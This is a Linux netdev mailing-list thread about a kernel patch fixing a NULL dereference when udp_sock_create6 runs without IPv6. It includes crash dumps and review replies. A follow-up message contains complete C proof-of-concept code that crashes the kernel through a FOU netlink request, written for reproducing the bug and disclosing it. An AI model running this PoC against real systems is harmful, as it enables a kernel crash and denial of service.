public inbox for netdev@vger.kernel.org
 help / color / mirror / Atom feed
* [PATCH net] udp_tunnel: fix NULL deref caused by udp_sock_create6 when CONFIG_IPV6=n
@ 2026-03-16  0:53 Xiang Mei
  2026-03-16  0:56 ` Xiang Mei
  2026-03-17  0:06 ` Jakub Kicinski
  0 siblings, 2 replies; 4+ messages in thread
From: Xiang Mei @ 2026-03-16  0:53 UTC (permalink / raw)
  To: netdev; +Cc: davem, edumazet, kuba, pabeni, horms, bestswngs, Xiang Mei

When CONFIG_IPV6 is disabled, the udp_sock_create6() function returns 0
(success) without actually creating a socket. Callers such as
fou_create() then proceed to dereference the uninitialized socket
pointer, resulting in a NULL pointer dereference.

Return -EPFNOSUPPORT instead, so callers correctly take their error
paths. There is only one caller of the vulnerable function and only
privileged users can trigger it.

The captured NULL deref crash:
[    0.489638] BUG: kernel NULL pointer dereference, address: 0000000000000018
[    0.489962] #PF: supervisor read access in kernel mode
[    0.490193] #PF: error_code(0x0000) - not-present page
[    0.490435] PGD 102a11067 P4D 102a11067 PUD 102a12067 PMD 0
[    0.490706] Oops: Oops: 0000 [#1] SMP NOPTI
[    0.490905] CPU: 0 UID: 0 PID: 140 Comm: exploit Not tainted 7.0.0-rc3+ #2 PREEMPTLAZY
[    0.491266] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014
[    0.491786] RIP: 0010:fou_nl_add_doit (net/ipv4/fou_core.c:590 net/ipv4/fou_core.c:764)
[    0.492009] Code: c5 48 85 c0 0f 84 04 02 00 00 48 8b 34 24 0f b7 44 24 1c 4c 8d 44 24 30 b9 07 00 00 00 0f b7 54 24 0c 4c 89 c7 48 89 6c 24 28 <4c> 8b 6e 18 66 89 45 0a 0f b6 44 24 10 66 89 55 0e 48 89 75 00 88
All code
========
   0:	c5 48 85             	(bad)
   3:	c0 0f 84             	rorb   $0x84,(%rdi)
   6:	04 02                	add    $0x2,%al
   8:	00 00                	add    %al,(%rax)
   a:	48 8b 34 24          	mov    (%rsp),%rsi
   e:	0f b7 44 24 1c       	movzwl 0x1c(%rsp),%eax
  13:	4c 8d 44 24 30       	lea    0x30(%rsp),%r8
  18:	b9 07 00 00 00       	mov    $0x7,%ecx
  1d:	0f b7 54 24 0c       	movzwl 0xc(%rsp),%edx
  22:	4c 89 c7             	mov    %r8,%rdi
  25:	48 89 6c 24 28       	mov    %rbp,0x28(%rsp)
  2a:*	4c 8b 6e 18          	mov    0x18(%rsi),%r13		<-- trapping instruction
  2e:	66 89 45 0a          	mov    %ax,0xa(%rbp)
  32:	0f b6 44 24 10       	movzbl 0x10(%rsp),%eax
  37:	66 89 55 0e          	mov    %dx,0xe(%rbp)
  3b:	48 89 75 00          	mov    %rsi,0x0(%rbp)
  3f:	88                   	.byte 0x88

Code starting with the faulting instruction
===========================================
   0:	4c 8b 6e 18          	mov    0x18(%rsi),%r13
   4:	66 89 45 0a          	mov    %ax,0xa(%rbp)
   8:	0f b6 44 24 10       	movzbl 0x10(%rsp),%eax
   d:	66 89 55 0e          	mov    %dx,0xe(%rbp)
  11:	48 89 75 00          	mov    %rsi,0x0(%rbp)
  15:	88                   	.byte 0x88
[    0.492846] RSP: 0018:ffffc900004a7a68 EFLAGS: 00010282
[    0.493095] RAX: 0000000000003201 RBX: 0000000000000000 RCX: 0000000000000007
[    0.493419] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffc900004a7a98
[    0.493754] RBP: ffff888102882180 R08: ffffc900004a7a98 R09: ffff888102882180
[    0.494084] R10: 0000000000000001 R11: 0000000000000000 R12: ffffc900004a7a90
[    0.494399] R13: ffff8881008f7a00 R14: ffffc900004a7b20 R15: 0000000000000000
[    0.494744] FS:  0000000021ac2380(0000) GS:ffff888196dab000(0000) knlGS:0000000000000000
[    0.495126] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    0.495385] CR2: 0000000000000018 CR3: 0000000102a0a004 CR4: 0000000000772ef0
[    0.495723] PKRU: 55555554
[    0.495861] Call Trace:
[    0.495990]  <TASK>
[    0.496101]  genl_family_rcv_msg_doit.constprop.0 (net/netlink/genetlink.c:1114)
[    0.496362]  genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[    0.496530]  ? __pfx_fou_nl_add_doit (net/ipv4/fou_core.c:755)
[    0.496757]  ? __pfx_genl_rcv_msg (net/netlink/genetlink.c:1200)
[    0.496962]  netlink_rcv_skb (net/netlink/af_netlink.c:2550)
[    0.497153]  genl_rcv (net/netlink/genetlink.c:1219)
[    0.497299]  netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344)
[    0.497476]  netlink_sendmsg (net/netlink/af_netlink.c:1894)
[    0.497669]  __sock_sendmsg (net/socket.c:727 (discriminator 1) net/socket.c:742 (discriminator 1))
[    0.497856]  __sys_sendto (./include/linux/file.h:62 (discriminator 1) ./include/linux/file.h:83 (discriminator 1) net/socket.c:2183 (discriminator 1))
[    0.498033]  __x64_sys_sendto (net/socket.c:2213 (discriminator 1) net/socket.c:2209 (discriminator 1) net/socket.c:2209 (discriminator 1))
[    0.498212]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 (discriminator 1) arch/x86/entry/syscall_64.c:94 (discriminator 1))
[    0.498381]  entry_SYSCALL_64_after_hwframe (net/arch/x86/entry/entry_64.S:130)
[    0.498610] RIP: 0033:0x41ce17
[    0.498763] Code: ff ff f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b5 0f 1f 00 f3 0f 1e fa 80 3d 4d 62 09 00 00 41 89 ca 74 10 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 69 c3 55 48 89 e5 53 48 83 ec 38 44 89 4d d0
All code
========
   0:	ff                   	(bad)
   1:	ff f7                	push   %rdi
   3:	d8 64 89 02          	fsubs  0x2(%rcx,%rcx,4)
   7:	48 c7 c0 ff ff ff ff 	mov    $0xffffffffffffffff,%rax
   e:	eb b5                	jmp    0xffffffffffffffc5
  10:	0f 1f 00             	nopl   (%rax)
  13:	f3 0f 1e fa          	endbr64
  17:	80 3d 4d 62 09 00 00 	cmpb   $0x0,0x9624d(%rip)        # 0x9626b
  1e:	41 89 ca             	mov    %ecx,%r10d
  21:	74 10                	je     0x33
  23:	b8 2c 00 00 00       	mov    $0x2c,%eax
  28:	0f 05                	syscall
  2a:*	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax		<-- trapping instruction
  30:	77 69                	ja     0x9b
  32:	c3                   	ret
  33:	55                   	push   %rbp
  34:	48 89 e5             	mov    %rsp,%rbp
  37:	53                   	push   %rbx
  38:	48 83 ec 38          	sub    $0x38,%rsp
  3c:	44 89 4d d0          	mov    %r9d,-0x30(%rbp)

Code starting with the faulting instruction
===========================================
   0:	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax
   6:	77 69                	ja     0x71
   8:	c3                   	ret
   9:	55                   	push   %rbp
   a:	48 89 e5             	mov    %rsp,%rbp
   d:	53                   	push   %rbx
   e:	48 83 ec 38          	sub    $0x38,%rsp
  12:	44 89 4d d0          	mov    %r9d,-0x30(%rbp)
[    0.499591] RSP: 002b:00007ffd7730d918 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[    0.499950] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 000000000041ce17
[    0.500272] RDX: 000000000000002c RSI: 00000000004b3b20 RDI: 0000000000000003
[    0.500585] RBP: 00007ffd7730d970 R08: 00007ffd7730d94c R09: 000000000000000c
[    0.500923] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffd7730da88
[    0.501246] R13: 00007ffd7730da98 R14: 00000000004ad868 R15: 0000000000000001
[    0.501559]  </TASK>

Fixes: fd384412e199b ("udp_tunnel: Seperate ipv6 functions into its own file.")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
 include/net/udp_tunnel.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/include/net/udp_tunnel.h b/include/net/udp_tunnel.h
index d9c6d04bb3b5..fc1fc43345b5 100644
--- a/include/net/udp_tunnel.h
+++ b/include/net/udp_tunnel.h
@@ -52,7 +52,7 @@ int udp_sock_create6(struct net *net, struct udp_port_cfg *cfg,
 static inline int udp_sock_create6(struct net *net, struct udp_port_cfg *cfg,
 				   struct socket **sockp)
 {
-	return 0;
+	return -EPFNOSUPPORT;
 }
 #endif
 
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 4+ messages in thread

* Re: [PATCH net] udp_tunnel: fix NULL deref caused by udp_sock_create6 when CONFIG_IPV6=n
  2026-03-16  0:53 [PATCH net] udp_tunnel: fix NULL deref caused by udp_sock_create6 when CONFIG_IPV6=n Xiang Mei
@ 2026-03-16  0:56 ` Xiang Mei
  2026-03-17  0:06 ` Jakub Kicinski
  1 sibling, 0 replies; 4+ messages in thread
From: Xiang Mei @ 2026-03-16  0:56 UTC (permalink / raw)
  To: netdev; +Cc: davem, edumazet, kuba, pabeni, horms, bestswngs

On Sun, Mar 15, 2026 at 05:53:37PM -0700, Xiang Mei wrote:
> When CONFIG_IPV6 is disabled, the udp_sock_create6() function returns 0
> (success) without actually creating a socket. Callers such as
> fou_create() then proceed to dereference the uninitialized socket
> pointer, resulting in a NULL pointer dereference.
> 
> Return -EPFNOSUPPORT instead, so callers correctly take their error
> paths. There is only one caller of the vulnerable function and only
> privileged users can trigger it.
> 
> The captured NULL deref crash:
> [    0.489638] BUG: kernel NULL pointer dereference, address: 0000000000000018
> [    0.489962] #PF: supervisor read access in kernel mode
> [    0.490193] #PF: error_code(0x0000) - not-present page
> [    0.490435] PGD 102a11067 P4D 102a11067 PUD 102a12067 PMD 0
> [    0.490706] Oops: Oops: 0000 [#1] SMP NOPTI
> [    0.490905] CPU: 0 UID: 0 PID: 140 Comm: exploit Not tainted 7.0.0-rc3+ #2 PREEMPTLAZY
> [    0.491266] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014
> [    0.491786] RIP: 0010:fou_nl_add_doit (net/ipv4/fou_core.c:590 net/ipv4/fou_core.c:764)
> [    0.492009] Code: c5 48 85 c0 0f 84 04 02 00 00 48 8b 34 24 0f b7 44 24 1c 4c 8d 44 24 30 b9 07 00 00 00 0f b7 54 24 0c 4c 89 c7 48 89 6c 24 28 <4c> 8b 6e 18 66 89 45 0a 0f b6 44 24 10 66 89 55 0e 48 89 75 00 88
> All code
> ========
>    0:	c5 48 85             	(bad)
>    3:	c0 0f 84             	rorb   $0x84,(%rdi)
>    6:	04 02                	add    $0x2,%al
>    8:	00 00                	add    %al,(%rax)
>    a:	48 8b 34 24          	mov    (%rsp),%rsi
>    e:	0f b7 44 24 1c       	movzwl 0x1c(%rsp),%eax
>   13:	4c 8d 44 24 30       	lea    0x30(%rsp),%r8
>   18:	b9 07 00 00 00       	mov    $0x7,%ecx
>   1d:	0f b7 54 24 0c       	movzwl 0xc(%rsp),%edx
>   22:	4c 89 c7             	mov    %r8,%rdi
>   25:	48 89 6c 24 28       	mov    %rbp,0x28(%rsp)
>   2a:*	4c 8b 6e 18          	mov    0x18(%rsi),%r13		<-- trapping instruction
>   2e:	66 89 45 0a          	mov    %ax,0xa(%rbp)
>   32:	0f b6 44 24 10       	movzbl 0x10(%rsp),%eax
>   37:	66 89 55 0e          	mov    %dx,0xe(%rbp)
>   3b:	48 89 75 00          	mov    %rsi,0x0(%rbp)
>   3f:	88                   	.byte 0x88
> 
> Code starting with the faulting instruction
> ===========================================
>    0:	4c 8b 6e 18          	mov    0x18(%rsi),%r13
>    4:	66 89 45 0a          	mov    %ax,0xa(%rbp)
>    8:	0f b6 44 24 10       	movzbl 0x10(%rsp),%eax
>    d:	66 89 55 0e          	mov    %dx,0xe(%rbp)
>   11:	48 89 75 00          	mov    %rsi,0x0(%rbp)
>   15:	88                   	.byte 0x88
> [    0.492846] RSP: 0018:ffffc900004a7a68 EFLAGS: 00010282
> [    0.493095] RAX: 0000000000003201 RBX: 0000000000000000 RCX: 0000000000000007
> [    0.493419] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffc900004a7a98
> [    0.493754] RBP: ffff888102882180 R08: ffffc900004a7a98 R09: ffff888102882180
> [    0.494084] R10: 0000000000000001 R11: 0000000000000000 R12: ffffc900004a7a90
> [    0.494399] R13: ffff8881008f7a00 R14: ffffc900004a7b20 R15: 0000000000000000
> [    0.494744] FS:  0000000021ac2380(0000) GS:ffff888196dab000(0000) knlGS:0000000000000000
> [    0.495126] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [    0.495385] CR2: 0000000000000018 CR3: 0000000102a0a004 CR4: 0000000000772ef0
> [    0.495723] PKRU: 55555554
> [    0.495861] Call Trace:
> [    0.495990]  <TASK>
> [    0.496101]  genl_family_rcv_msg_doit.constprop.0 (net/netlink/genetlink.c:1114)
> [    0.496362]  genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
> [    0.496530]  ? __pfx_fou_nl_add_doit (net/ipv4/fou_core.c:755)
> [    0.496757]  ? __pfx_genl_rcv_msg (net/netlink/genetlink.c:1200)
> [    0.496962]  netlink_rcv_skb (net/netlink/af_netlink.c:2550)
> [    0.497153]  genl_rcv (net/netlink/genetlink.c:1219)
> [    0.497299]  netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344)
> [    0.497476]  netlink_sendmsg (net/netlink/af_netlink.c:1894)
> [    0.497669]  __sock_sendmsg (net/socket.c:727 (discriminator 1) net/socket.c:742 (discriminator 1))
> [    0.497856]  __sys_sendto (./include/linux/file.h:62 (discriminator 1) ./include/linux/file.h:83 (discriminator 1) net/socket.c:2183 (discriminator 1))
> [    0.498033]  __x64_sys_sendto (net/socket.c:2213 (discriminator 1) net/socket.c:2209 (discriminator 1) net/socket.c:2209 (discriminator 1))
> [    0.498212]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 (discriminator 1) arch/x86/entry/syscall_64.c:94 (discriminator 1))
> [    0.498381]  entry_SYSCALL_64_after_hwframe (net/arch/x86/entry/entry_64.S:130)
> [    0.498610] RIP: 0033:0x41ce17
> [    0.498763] Code: ff ff f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b5 0f 1f 00 f3 0f 1e fa 80 3d 4d 62 09 00 00 41 89 ca 74 10 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 69 c3 55 48 89 e5 53 48 83 ec 38 44 89 4d d0
> All code
> ========
>    0:	ff                   	(bad)
>    1:	ff f7                	push   %rdi
>    3:	d8 64 89 02          	fsubs  0x2(%rcx,%rcx,4)
>    7:	48 c7 c0 ff ff ff ff 	mov    $0xffffffffffffffff,%rax
>    e:	eb b5                	jmp    0xffffffffffffffc5
>   10:	0f 1f 00             	nopl   (%rax)
>   13:	f3 0f 1e fa          	endbr64
>   17:	80 3d 4d 62 09 00 00 	cmpb   $0x0,0x9624d(%rip)        # 0x9626b
>   1e:	41 89 ca             	mov    %ecx,%r10d
>   21:	74 10                	je     0x33
>   23:	b8 2c 00 00 00       	mov    $0x2c,%eax
>   28:	0f 05                	syscall
>   2a:*	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax		<-- trapping instruction
>   30:	77 69                	ja     0x9b
>   32:	c3                   	ret
>   33:	55                   	push   %rbp
>   34:	48 89 e5             	mov    %rsp,%rbp
>   37:	53                   	push   %rbx
>   38:	48 83 ec 38          	sub    $0x38,%rsp
>   3c:	44 89 4d d0          	mov    %r9d,-0x30(%rbp)
> 
> Code starting with the faulting instruction
> ===========================================
>    0:	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax
>    6:	77 69                	ja     0x71
>    8:	c3                   	ret
>    9:	55                   	push   %rbp
>    a:	48 89 e5             	mov    %rsp,%rbp
>    d:	53                   	push   %rbx
>    e:	48 83 ec 38          	sub    $0x38,%rsp
>   12:	44 89 4d d0          	mov    %r9d,-0x30(%rbp)
> [    0.499591] RSP: 002b:00007ffd7730d918 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
> [    0.499950] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 000000000041ce17
> [    0.500272] RDX: 000000000000002c RSI: 00000000004b3b20 RDI: 0000000000000003
> [    0.500585] RBP: 00007ffd7730d970 R08: 00007ffd7730d94c R09: 000000000000000c
> [    0.500923] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffd7730da88
> [    0.501246] R13: 00007ffd7730da98 R14: 00000000004ad868 R15: 0000000000000001
> [    0.501559]  </TASK>
> 
> Fixes: fd384412e199b ("udp_tunnel: Seperate ipv6 functions into its own file.")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
>  include/net/udp_tunnel.h | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/include/net/udp_tunnel.h b/include/net/udp_tunnel.h
> index d9c6d04bb3b5..fc1fc43345b5 100644
> --- a/include/net/udp_tunnel.h
> +++ b/include/net/udp_tunnel.h
> @@ -52,7 +52,7 @@ int udp_sock_create6(struct net *net, struct udp_port_cfg *cfg,
>  static inline int udp_sock_create6(struct net *net, struct udp_port_cfg *cfg,
>  				   struct socket **sockp)
>  {
> -	return 0;
> +	return -EPFNOSUPPORT;
>  }
>  #endif
>  
> -- 
> 2.43.0
>

Thanks for your attention to this bug. It's a NULL-deref can only be
triggered by privileged users.

The following information could help you to reproduce the bug:

1) The required configs:
```
CONFIG_NET_FOU=y
CONFIG_IPV6=n
```

2) PoC source code:
```c
/*
 * FoU NULL deref PoC — CONFIG_IPV6=n + CONFIG_NET_FOU=y
 *
 * FOU_CMD_ADD with AF_INET6 calls udp_sock_create6 stub that returns 0
 * without creating a socket, causing NULL deref in fou_create().
 */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <arpa/inet.h>

#define ALIGN4(x) (((x) + 3) & ~3)

enum { FOU_CMD_ADD = 1 };
enum { FOU_ATTR_PORT = 1, FOU_ATTR_AF, FOU_ATTR_IPPROTO };

static char buf[4096];
static int off;

static void nla_put(int type, const void *data, int len) {
    struct nlattr *nla = (struct nlattr *)(buf + off);
    nla->nla_len = NLA_HDRLEN + len;
    nla->nla_type = type;
    memcpy(buf + off + NLA_HDRLEN, data, len);
    off += ALIGN4(nla->nla_len);
}

static int genl_resolve(int fd, const char *name) {
    struct {
        struct nlmsghdr n;
        struct genlmsghdr g;
        struct nlattr a;
        char name[32];
    } req = {
        .n = { .nlmsg_type = GENL_ID_CTRL, .nlmsg_flags = NLM_F_REQUEST },
        .g = { .cmd = CTRL_CMD_GETFAMILY, .version = 1 },
        .a = { .nla_len = NLA_HDRLEN + strlen(name) + 1, .nla_type = CTRL_ATTR_FAMILY_NAME },
    };
    strcpy(req.name, name);
    req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + ALIGN4(req.a.nla_len);

    if (send(fd, &req, req.n.nlmsg_len, 0) < 0) return -1;

    char resp[4096];
    int n = recv(fd, resp, sizeof(resp), 0);
    if (n < 0 || ((struct nlmsghdr *)resp)->nlmsg_type == NLMSG_ERROR) return -1;

    struct nlattr *attr = (struct nlattr *)(resp + NLMSG_HDRLEN + GENL_HDRLEN);
    for (int rem = n - NLMSG_HDRLEN - GENL_HDRLEN; rem >= NLA_HDRLEN; ) {
        if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
            __u16 id;
            memcpy(&id, (char *)attr + NLA_HDRLEN, sizeof(id));
            return id;
        }
        int step = ALIGN4(attr->nla_len);
        if (step < NLA_HDRLEN) break;
        rem -= step;
        attr = (struct nlattr *)((char *)attr + step);
    }
    return -1;
}
int main(void) {
    int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    struct sockaddr_nl sa = { .nl_family = AF_NETLINK,};
    if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); return 1; }

    int fam = genl_resolve(fd, "fou");
    if (fam < 0) { fprintf(stderr, "[-] Can't resolve 'fou'. CONFIG_NET_FOU=y?\n"); return 1; }

    /* Build FOU_CMD_ADD with AF_INET6 */
    off = NLMSG_HDRLEN + GENL_HDRLEN;
    struct genlmsghdr *genl = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
    genl->cmd = FOU_CMD_ADD;
    genl->version = 1;

    __u16 port = htons(0x132);
    __u8 af = AF_INET6, proto = 4;
    nla_put(FOU_ATTR_PORT, &port, 2);
    nla_put(FOU_ATTR_AF, &af, 1);
    nla_put(FOU_ATTR_IPPROTO, &proto, 1);

    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
    *nlh = (struct nlmsghdr){
        .nlmsg_len = off, .nlmsg_type = fam,
        .nlmsg_flags = NLM_F_REQUEST
    };

    struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
    if (sendto(fd, buf, off, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
        perror("sendto"); return 1;
    }
}
```

The intended crash was attached in the commit message. Please let me know
if you have any questions for the patch and poc.

Thanks,
Xiang

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH net] udp_tunnel: fix NULL deref caused by udp_sock_create6 when CONFIG_IPV6=n
  2026-03-16  0:53 [PATCH net] udp_tunnel: fix NULL deref caused by udp_sock_create6 when CONFIG_IPV6=n Xiang Mei
  2026-03-16  0:56 ` Xiang Mei
@ 2026-03-17  0:06 ` Jakub Kicinski
  2026-03-17  1:04   ` Xiang Mei
  1 sibling, 1 reply; 4+ messages in thread
From: Jakub Kicinski @ 2026-03-17  0:06 UTC (permalink / raw)
  To: Xiang Mei; +Cc: netdev, davem, edumazet, pabeni, horms, bestswngs

On Sun, 15 Mar 2026 17:53:37 -0700 Xiang Mei wrote:
> When CONFIG_IPV6 is disabled, the udp_sock_create6() function returns 0
> (success) without actually creating a socket. Callers such as
> fou_create() then proceed to dereference the uninitialized socket
> pointer, resulting in a NULL pointer dereference.
> 
> Return -EPFNOSUPPORT instead, so callers correctly take their error
> paths. There is only one caller of the vulnerable function and only
> privileged users can trigger it.
> 
> The captured NULL deref crash:
> [    0.489638] BUG: kernel NULL pointer dereference, address: 0000000000000018
> [    0.489962] #PF: supervisor read access in kernel mode
> [    0.490193] #PF: error_code(0x0000) - not-present page
> [    0.490435] PGD 102a11067 P4D 102a11067 PUD 102a12067 PMD 0
> [    0.490706] Oops: Oops: 0000 [#1] SMP NOPTI
> [    0.490905] CPU: 0 UID: 0 PID: 140 Comm: exploit Not tainted 7.0.0-rc3+ #2 PREEMPTLAZY
> [    0.491266] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014
> [    0.491786] RIP: 0010:fou_nl_add_doit (net/ipv4/fou_core.c:590 net/ipv4/fou_core.c:764)
> [    0.492009] Code: c5 48 85 c0 0f 84 04 02 00 00 48 8b 34 24 0f b7 44 24 1c 4c 8d 44 24 30 b9 07 00 00 00 0f b7 54 24 0c 4c 89 c7 48 89 6c 24 28 <4c> 8b 6e 18 66 89 45 0a 0f b6 44 24 10 66 89 55 0e 48 89 75 00 88
> All code
> ========

Please trim the crash dump to what is relevant.
-- 
pw-bot: cr

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH net] udp_tunnel: fix NULL deref caused by udp_sock_create6 when CONFIG_IPV6=n
  2026-03-17  0:06 ` Jakub Kicinski
@ 2026-03-17  1:04   ` Xiang Mei
  0 siblings, 0 replies; 4+ messages in thread
From: Xiang Mei @ 2026-03-17  1:04 UTC (permalink / raw)
  To: Jakub Kicinski; +Cc: netdev, davem, edumazet, pabeni, horms, bestswngs

Thanks for the tips. V2 was sent with a better crash dump.


On Mon, Mar 16, 2026 at 5:06 PM Jakub Kicinski <kuba@kernel.org> wrote:
>
> On Sun, 15 Mar 2026 17:53:37 -0700 Xiang Mei wrote:
> > When CONFIG_IPV6 is disabled, the udp_sock_create6() function returns 0
> > (success) without actually creating a socket. Callers such as
> > fou_create() then proceed to dereference the uninitialized socket
> > pointer, resulting in a NULL pointer dereference.
> >
> > Return -EPFNOSUPPORT instead, so callers correctly take their error
> > paths. There is only one caller of the vulnerable function and only
> > privileged users can trigger it.
> >
> > The captured NULL deref crash:
> > [    0.489638] BUG: kernel NULL pointer dereference, address: 0000000000000018
> > [    0.489962] #PF: supervisor read access in kernel mode
> > [    0.490193] #PF: error_code(0x0000) - not-present page
> > [    0.490435] PGD 102a11067 P4D 102a11067 PUD 102a12067 PMD 0
> > [    0.490706] Oops: Oops: 0000 [#1] SMP NOPTI
> > [    0.490905] CPU: 0 UID: 0 PID: 140 Comm: exploit Not tainted 7.0.0-rc3+ #2 PREEMPTLAZY
> > [    0.491266] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014
> > [    0.491786] RIP: 0010:fou_nl_add_doit (net/ipv4/fou_core.c:590 net/ipv4/fou_core.c:764)
> > [    0.492009] Code: c5 48 85 c0 0f 84 04 02 00 00 48 8b 34 24 0f b7 44 24 1c 4c 8d 44 24 30 b9 07 00 00 00 0f b7 54 24 0c 4c 89 c7 48 89 6c 24 28 <4c> 8b 6e 18 66 89 45 0a 0f b6 44 24 10 66 89 55 0e 48 89 75 00 88
> > All code
> > ========
>
> Please trim the crash dump to what is relevant.
> --
> pw-bot: cr

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-03-17  1:04 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-03-16  0:53 [PATCH net] udp_tunnel: fix NULL deref caused by udp_sock_create6 when CONFIG_IPV6=n Xiang Mei
2026-03-16  0:56 ` Xiang Mei
2026-03-17  0:06 ` Jakub Kicinski
2026-03-17  1:04   ` Xiang Mei

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox